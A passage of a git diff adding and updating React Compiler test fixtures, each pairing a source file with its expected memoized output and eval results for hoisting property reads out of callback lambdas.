diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-skip-components-without-hooks-or-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-skip-components-without-hooks-or-jsx.expect.md
index 0637082e5022..3b512a8b59c0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-skip-components-without-hooks-or-jsx.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-skip-components-without-hooks-or-jsx.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // This component is skipped bc it doesn't call any hooks or
 // use JSX:
 function Component(props) {
@@ -14,7 +14,7 @@ function Component(props) {
 ## Code
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // This component is skipped bc it doesn't call any hooks or
 // use JSX:
 function Component(props) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-skip-components-without-hooks-or-jsx.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-skip-components-without-hooks-or-jsx.js
index 5f6aa674b219..dee75b574146 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-skip-components-without-hooks-or-jsx.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-skip-components-without-hooks-or-jsx.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // This component is skipped bc it doesn't call any hooks or
 // use JSX:
 function Component(props) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-types-through-type-cast.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-types-through-type-cast.flow.expect.md
index b1bb9873fe08..ea802d44c350 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-types-through-type-cast.flow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-types-through-type-cast.flow.expect.md
@@ -18,7 +18,7 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [{}],
   isComponent: false,
-}
+};
 
 ```
 
@@ -29,6 +29,7 @@ import { getNumber } from "shared-runtime";
 
 function Component(props) {
   const x = getNumber();
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-types-through-type-cast.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-types-through-type-cast.flow.js
index b16a065070dc..d5a9418ce56f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-types-through-type-cast.flow.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-types-through-type-cast.flow.js
@@ -14,4 +14,4 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [{}],
   isComponent: false,
-}
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback-cross-context.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback-cross-context.expect.md
new file mode 100644
index 000000000000..c1a6dfb3eae1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback-cross-context.expect.md
@@ -0,0 +1,133 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Forked from array-map-simple.js
+ *
+ * Named lambdas (e.g. cb1) may be defined in the top scope of a function and
+ * used in a different lambda (getArrMap1).
+ *
+ * Here, we should try to determine if cb1 is actually called. In this case:
+ * - getArrMap1 is assumed to be called as it's passed to JSX
+ * - cb1 is not assumed to be called since it's only used as a call operand
+ */
+function useFoo({arr1, arr2}) {
+  const cb1 = e => arr1[0].value + e.value;
+  const getArrMap1 = () => arr1.map(cb1);
+  const cb2 = e => arr2[0].value + e.value;
+  const getArrMap2 = () => arr1.map(cb2);
+  return (
+    <Stringify
+      getArrMap1={getArrMap1}
+      getArrMap2={getArrMap2}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+/**
+ * Forked from array-map-simple.js
+ *
+ * Named lambdas (e.g. cb1) may be defined in the top scope of a function and
+ * used in a different lambda (getArrMap1).
+ *
+ * Here, we should try to determine if cb1 is actually called. In this case:
+ * - getArrMap1 is assumed to be called as it's passed to JSX
+ * - cb1 is not assumed to be called since it's only used as a call operand
+ */
+function useFoo(t0) {
+  const $ = _c(13);
+  const { arr1, arr2 } = t0;
+  let t1;
+  if ($[0] !== arr1[0]) {
+    t1 = (e) => arr1[0].value + e.value;
+    $[0] = arr1[0];
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const cb1 = t1;
+  let t2;
+  if ($[2] !== arr1 || $[3] !== cb1) {
+    t2 = () => arr1.map(cb1);
+    $[2] = arr1;
+    $[3] = cb1;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  const getArrMap1 = t2;
+  let t3;
+  if ($[5] !== arr2) {
+    t3 = (e_0) => arr2[0].value + e_0.value;
+    $[5] = arr2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  const cb2 = t3;
+  let t4;
+  if ($[7] !== arr1 || $[8] !== cb2) {
+    t4 = () => arr1.map(cb2);
+    $[7] = arr1;
+    $[8] = cb2;
+    $[9] = t4;
+  } else {
+    t4 = $[9];
+  }
+  const getArrMap2 = t4;
+  let t5;
+  if ($[10] !== getArrMap1 || $[11] !== getArrMap2) {
+    t5 = (
+      <Stringify
+        getArrMap1={getArrMap1}
+        getArrMap2={getArrMap2}
+        shouldInvokeFns={true}
+      />
+    );
+    $[10] = getArrMap1;
+    $[11] = getArrMap2;
+    $[12] = t5;
+  } else {
+    t5 = $[12];
+  }
+  return t5;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ arr1: [], arr2: [] }],
+  sequentialRenders: [
+    { arr1: [], arr2: [] },
+    { arr1: [], arr2: null },
+    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"getArrMap1":{"kind":"Function","result":[]},"getArrMap2":{"kind":"Function","result":[]},"shouldInvokeFns":true}</div>
+<div>{"getArrMap1":{"kind":"Function","result":[]},"getArrMap2":{"kind":"Function","result":[]},"shouldInvokeFns":true}</div>
+<div>{"getArrMap1":{"kind":"Function","result":[2,3]},"getArrMap2":{"kind":"Function","result":[0,1]},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback-cross-context.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback-cross-context.js
new file mode 100644
index 000000000000..e9056562262e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback-cross-context.js
@@ -0,0 +1,35 @@
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Forked from array-map-simple.js
+ *
+ * Named lambdas (e.g. cb1) may be defined in the top scope of a function and
+ * used in a different lambda (getArrMap1).
+ *
+ * Here, we should try to determine if cb1 is actually called. In this case:
+ * - getArrMap1 is assumed to be called as it's passed to JSX
+ * - cb1 is not assumed to be called since it's only used as a call operand
+ */
+function useFoo({arr1, arr2}) {
+  const cb1 = e => arr1[0].value + e.value;
+  const getArrMap1 = () => arr1.map(cb1);
+  const cb2 = e => arr2[0].value + e.value;
+  const getArrMap2 = () => arr1.map(cb2);
+  return (
+    <Stringify
+      getArrMap1={getArrMap1}
+      getArrMap2={getArrMap2}
+      shouldInvokeFns={true}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback.expect.md
new file mode 100644
index 000000000000..a741eb59f2a5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback.expect.md
@@ -0,0 +1,108 @@
+
+## Input
+
+```javascript
+/**
+ * Forked from array-map-simple.js
+ *
+ * Whether lambdas are named or passed inline shouldn't affect whether we expect
+ * it to be called.
+ */
+function useFoo({arr1, arr2}) {
+  const cb1 = e => arr1[0].value + e.value;
+  const x = arr1.map(cb1);
+  const cb2 = e => arr2[0].value + e.value;
+  const y = arr1.map(cb2);
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; /**
+ * Forked from array-map-simple.js
+ *
+ * Whether lambdas are named or passed inline shouldn't affect whether we expect
+ * it to be called.
+ */
+function useFoo(t0) {
+  const $ = _c(13);
+  const { arr1, arr2 } = t0;
+  let t1;
+  if ($[0] !== arr1[0]) {
+    t1 = (e) => arr1[0].value + e.value;
+    $[0] = arr1[0];
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const cb1 = t1;
+  let t2;
+  if ($[2] !== arr1 || $[3] !== cb1) {
+    t2 = arr1.map(cb1);
+    $[2] = arr1;
+    $[3] = cb1;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  const x = t2;
+  let t3;
+  if ($[5] !== arr2) {
+    t3 = (e_0) => arr2[0].value + e_0.value;
+    $[5] = arr2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  const cb2 = t3;
+  let t4;
+  if ($[7] !== arr1 || $[8] !== cb2) {
+    t4 = arr1.map(cb2);
+    $[7] = arr1;
+    $[8] = cb2;
+    $[9] = t4;
+  } else {
+    t4 = $[9];
+  }
+  const y = t4;
+  let t5;
+  if ($[10] !== x || $[11] !== y) {
+    t5 = [x, y];
+    $[10] = x;
+    $[11] = y;
+    $[12] = t5;
+  } else {
+    t5 = $[12];
+  }
+  return t5;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ arr1: [], arr2: [] }],
+  sequentialRenders: [
+    { arr1: [], arr2: [] },
+    { arr1: [], arr2: null },
+    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[],[]]
+[[],[]]
+[[2,3],[0,1]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback.js
new file mode 100644
index 000000000000..bf4f3ba66186
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback.js
@@ -0,0 +1,23 @@
+/**
+ * Forked from array-map-simple.js
+ *
+ * Whether lambdas are named or passed inline shouldn't affect whether we expect
+ * it to be called.
+ */
+function useFoo({arr1, arr2}) {
+  const cb1 = e => arr1[0].value + e.value;
+  const x = arr1.map(cb1);
+  const cb2 = e => arr2[0].value + e.value;
+  const y = arr1.map(cb2);
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-chained-callbacks.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-chained-callbacks.expect.md
new file mode 100644
index 000000000000..96ec12d5eaba
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-chained-callbacks.expect.md
@@ -0,0 +1,114 @@
+
+## Input
+
+```javascript
+/**
+ * Forked from array-map-simple.js
+ *
+ * Here, getVal1 has a known callsite in `cb1`, but `cb1` isn't known to be
+ * called (it's only passed to array.map). In this case, we should be
+ * conservative and assume that all named lambdas are conditionally called.
+ */
+function useFoo({arr1, arr2}) {
+  const getVal1 = () => arr1[0].value;
+  const cb1 = e => getVal1() + e.value;
+  const x = arr1.map(cb1);
+  const getVal2 = () => arr2[0].value;
+  const cb2 = e => getVal2() + e.value;
+  const y = arr1.map(cb2);
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; /**
+ * Forked from array-map-simple.js
+ *
+ * Here, getVal1 has a known callsite in `cb1`, but `cb1` isn't known to be
+ * called (it's only passed to array.map). In this case, we should be
+ * conservative and assume that all named lambdas are conditionally called.
+ */
+function useFoo(t0) {
+  const $ = _c(13);
+  const { arr1, arr2 } = t0;
+  let t1;
+  if ($[0] !== arr1[0]) {
+    const getVal1 = () => arr1[0].value;
+    t1 = (e) => getVal1() + e.value;
+    $[0] = arr1[0];
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const cb1 = t1;
+  let t2;
+  if ($[2] !== arr1 || $[3] !== cb1) {
+    t2 = arr1.map(cb1);
+    $[2] = arr1;
+    $[3] = cb1;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  const x = t2;
+  let t3;
+  if ($[5] !== arr2) {
+    const getVal2 = () => arr2[0].value;
+    t3 = (e_0) => getVal2() + e_0.value;
+    $[5] = arr2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  const cb2 = t3;
+  let t4;
+  if ($[7] !== arr1 || $[8] !== cb2) {
+    t4 = arr1.map(cb2);
+    $[7] = arr1;
+    $[8] = cb2;
+    $[9] = t4;
+  } else {
+    t4 = $[9];
+  }
+  const y = t4;
+  let t5;
+  if ($[10] !== x || $[11] !== y) {
+    t5 = [x, y];
+    $[10] = x;
+    $[11] = y;
+    $[12] = t5;
+  } else {
+    t5 = $[12];
+  }
+  return t5;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ arr1: [], arr2: [] }],
+  sequentialRenders: [
+    { arr1: [], arr2: [] },
+    { arr1: [], arr2: null },
+    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[],[]]
+[[],[]]
+[[2,3],[0,1]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-chained-callbacks.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-chained-callbacks.js
new file mode 100644
index 000000000000..598faba46dbf
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-chained-callbacks.js
@@ -0,0 +1,26 @@
+/**
+ * Forked from array-map-simple.js
+ *
+ * Here, getVal1 has a known callsite in `cb1`, but `cb1` isn't known to be
+ * called (it's only passed to array.map). In this case, we should be
+ * conservative and assume that all named lambdas are conditionally called.
+ */
+function useFoo({arr1, arr2}) {
+  const getVal1 = () => arr1[0].value;
+  const cb1 = e => getVal1() + e.value;
+  const x = arr1.map(cb1);
+  const getVal2 = () => arr2[0].value;
+  const cb2 = e => getVal2() + e.value;
+  const y = arr1.map(cb2);
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-simple.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-simple.expect.md
new file mode 100644
index 000000000000..5eb97aa1bf01
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-simple.expect.md
@@ -0,0 +1,111 @@
+
+## Input
+
+```javascript
+/**
+ * Test that we're not hoisting property reads from lambdas that are created to
+ * pass to opaque functions, which often have maybe-invoke semantics.
+ *
+ * In this example, we shouldn't hoist `arr[0].value` out of the lambda.
+ * ```js
+ * e => arr[0].value + e.value  <-- created to pass to map
+ * arr.map(<cb>)                <-- argument only invoked if array is non-empty
+ * ```
+ */
+function useFoo({arr1, arr2}) {
+  const x = arr1.map(e => arr1[0].value + e.value);
+  const y = arr1.map(e => arr2[0].value + e.value);
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; /**
+ * Test that we're not hoisting property reads from lambdas that are created to
+ * pass to opaque functions, which often have maybe-invoke semantics.
+ *
+ * In this example, we shouldn't hoist `arr[0].value` out of the lambda.
+ * ```js
+ * e => arr[0].value + e.value  <-- created to pass to map
+ * arr.map(<cb>)                <-- argument only invoked if array is non-empty
+ * ```
+ */
+function useFoo(t0) {
+  const $ = _c(12);
+  const { arr1, arr2 } = t0;
+  let t1;
+  if ($[0] !== arr1) {
+    let t2;
+    if ($[2] !== arr1[0]) {
+      t2 = (e) => arr1[0].value + e.value;
+      $[2] = arr1[0];
+      $[3] = t2;
+    } else {
+      t2 = $[3];
+    }
+    t1 = arr1.map(t2);
+    $[0] = arr1;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const x = t1;
+  let t2;
+  if ($[4] !== arr1 || $[5] !== arr2) {
+    let t3;
+    if ($[7] !== arr2) {
+      t3 = (e_0) => arr2[0].value + e_0.value;
+      $[7] = arr2;
+      $[8] = t3;
+    } else {
+      t3 = $[8];
+    }
+    t2 = arr1.map(t3);
+    $[4] = arr1;
+    $[5] = arr2;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  const y = t2;
+  let t3;
+  if ($[9] !== x || $[10] !== y) {
+    t3 = [x, y];
+    $[9] = x;
+    $[10] = y;
+    $[11] = t3;
+  } else {
+    t3 = $[11];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ arr1: [], arr2: [] }],
+  sequentialRenders: [
+    { arr1: [], arr2: [] },
+    { arr1: [], arr2: null },
+    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[],[]]
+[[],[]]
+[[2,3],[0,1]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-simple.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-simple.js
new file mode 100644
index 000000000000..80748d6131bf
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-simple.js
@@ -0,0 +1,25 @@
+/**
+ * Test that we're not hoisting property reads from lambdas that are created to
+ * pass to opaque functions, which often have maybe-invoke semantics.
+ *
+ * In this example, we shouldn't hoist `arr[0].value` out of the lambda.
+ * ```js
+ * e => arr[0].value + e.value  <-- created to pass to map
+ * arr.map(<cb>)                <-- argument only invoked if array is non-empty
+ * ```
+ */
+function useFoo({arr1, arr2}) {
+  const x = arr1.map(e => arr1[0].value + e.value);
+  const y = arr1.map(e => arr2[0].value + e.value);
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{arr1: [], arr2: []}],
+  sequentialRenders: [
+    {arr1: [], arr2: []},
+    {arr1: [], arr2: null},
+    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call-chain.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call-chain.expect.md
new file mode 100644
index 000000000000..4622beeb0eb8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call-chain.expect.md
@@ -0,0 +1,104 @@
+
+## Input
+
+```javascript
+import {useRef} from 'react';
+import {Stringify} from 'shared-runtime';
+
+function Component({a, b}) {
+  const logA = () => {
+    console.log(a.value);
+  };
+  const logB = () => {
+    console.log(b.value);
+  };
+  const hasLogged = useRef(false);
+  const log = () => {
+    if (!hasLogged.current) {
+      logA();
+      logB();
+      hasLogged.current = true;
+    }
+  };
+  return <Stringify log={log} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {value: 1}, b: {value: 2}}],
+  sequentialRenders: [
+    {a: {value: 1}, b: {value: 2}},
+    {a: {value: 3}, b: {value: 4}},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useRef } from "react";
+import { Stringify } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(7);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a.value) {
+    t1 = () => {
+      console.log(a.value);
+    };
+    $[0] = a.value;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const logA = t1;
+  let t2;
+  if ($[2] !== b.value) {
+    t2 = () => {
+      console.log(b.value);
+    };
+    $[2] = b.value;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const logB = t2;
+
+  const hasLogged = useRef(false);
+  let t3;
+  if ($[4] !== logA || $[5] !== logB) {
+    const log = () => {
+      if (!hasLogged.current) {
+        logA();
+        logB();
+        hasLogged.current = true;
+      }
+    };
+    t3 = <Stringify log={log} shouldInvokeFns={true} />;
+    $[4] = logA;
+    $[5] = logB;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: { value: 1 }, b: { value: 2 } }],
+  sequentialRenders: [
+    { a: { value: 1 }, b: { value: 2 } },
+    { a: { value: 3 }, b: { value: 4 } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"log":{"kind":"Function"},"shouldInvokeFns":true}</div>
+<div>{"log":{"kind":"Function"},"shouldInvokeFns":true}</div>
+logs: [1,2]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call-chain.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call-chain.tsx
new file mode 100644
index 000000000000..746287fe6063
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call-chain.tsx
@@ -0,0 +1,29 @@
+import {useRef} from 'react';
+import {Stringify} from 'shared-runtime';
+
+function Component({a, b}) {
+  const logA = () => {
+    console.log(a.value);
+  };
+  const logB = () => {
+    console.log(b.value);
+  };
+  const hasLogged = useRef(false);
+  const log = () => {
+    if (!hasLogged.current) {
+      logA();
+      logB();
+      hasLogged.current = true;
+    }
+  };
+  return <Stringify log={log} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {value: 1}, b: {value: 2}}],
+  sequentialRenders: [
+    {a: {value: 1}, b: {value: 2}},
+    {a: {value: 3}, b: {value: 4}},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call.expect.md
new file mode 100644
index 000000000000..0080fd046893
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call.expect.md
@@ -0,0 +1,85 @@
+
+## Input
+
+```javascript
+import {useState} from 'react';
+import {useIdentity} from 'shared-runtime';
+
+/**
+ * Assume that conditionally called functions can be invoked and that their
+ * property loads are hoistable to the function declaration site.
+ */
+function useMakeCallback({obj}: {obj: {value: number}}) {
+  const [state, setState] = useState(0);
+  const cb = () => {
+    if (obj.value !== 0) setState(obj.value);
+  };
+  useIdentity(null);
+  if (state === 0) {
+    cb();
+  }
+  return {cb};
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{obj: {value: 1}}],
+  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useState } from "react";
+import { useIdentity } from "shared-runtime";
+
+/**
+ * Assume that conditionally called functions can be invoked and that their
+ * property loads are hoistable to the function declaration site.
+ */
+function useMakeCallback(t0) {
+  const $ = _c(4);
+  const { obj } = t0;
+  const [state, setState] = useState(0);
+  let t1;
+  if ($[0] !== obj.value) {
+    t1 = () => {
+      if (obj.value !== 0) {
+        setState(obj.value);
+      }
+    };
+    $[0] = obj.value;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const cb = t1;
+
+  useIdentity(null);
+  if (state === 0) {
+    cb();
+  }
+  let t2;
+  if ($[2] !== cb) {
+    t2 = { cb };
+    $[2] = cb;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{ obj: { value: 1 } }],
+  sequentialRenders: [{ obj: { value: 1 } }, { obj: { value: 2 } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"cb":"[[ function params=0 ]]"}
+{"cb":"[[ function params=0 ]]"}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call.ts
new file mode 100644
index 000000000000..12d92b726f38
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call.ts
@@ -0,0 +1,23 @@
+import {useState} from 'react';
+import {useIdentity} from 'shared-runtime';
+
+/**
+ * Assume that conditionally called functions can be invoked and that their
+ * property loads are hoistable to the function declaration site.
+ */
+function useMakeCallback({obj}: {obj: {value: number}}) {
+  const [state, setState] = useState(0);
+  const cb = () => {
+    if (obj.value !== 0) setState(obj.value);
+  };
+  useIdentity(null);
+  if (state === 0) {
+    cb();
+  }
+  return {cb};
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useMakeCallback,
+  params: [{obj: {value: 1}}],
+  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditionally-return-fn.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditionally-return-fn.expect.md
new file mode 100644
index 000000000000..77b62bc8c24b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditionally-return-fn.expect.md
@@ -0,0 +1,87 @@
+
+## Input
+
+```javascript
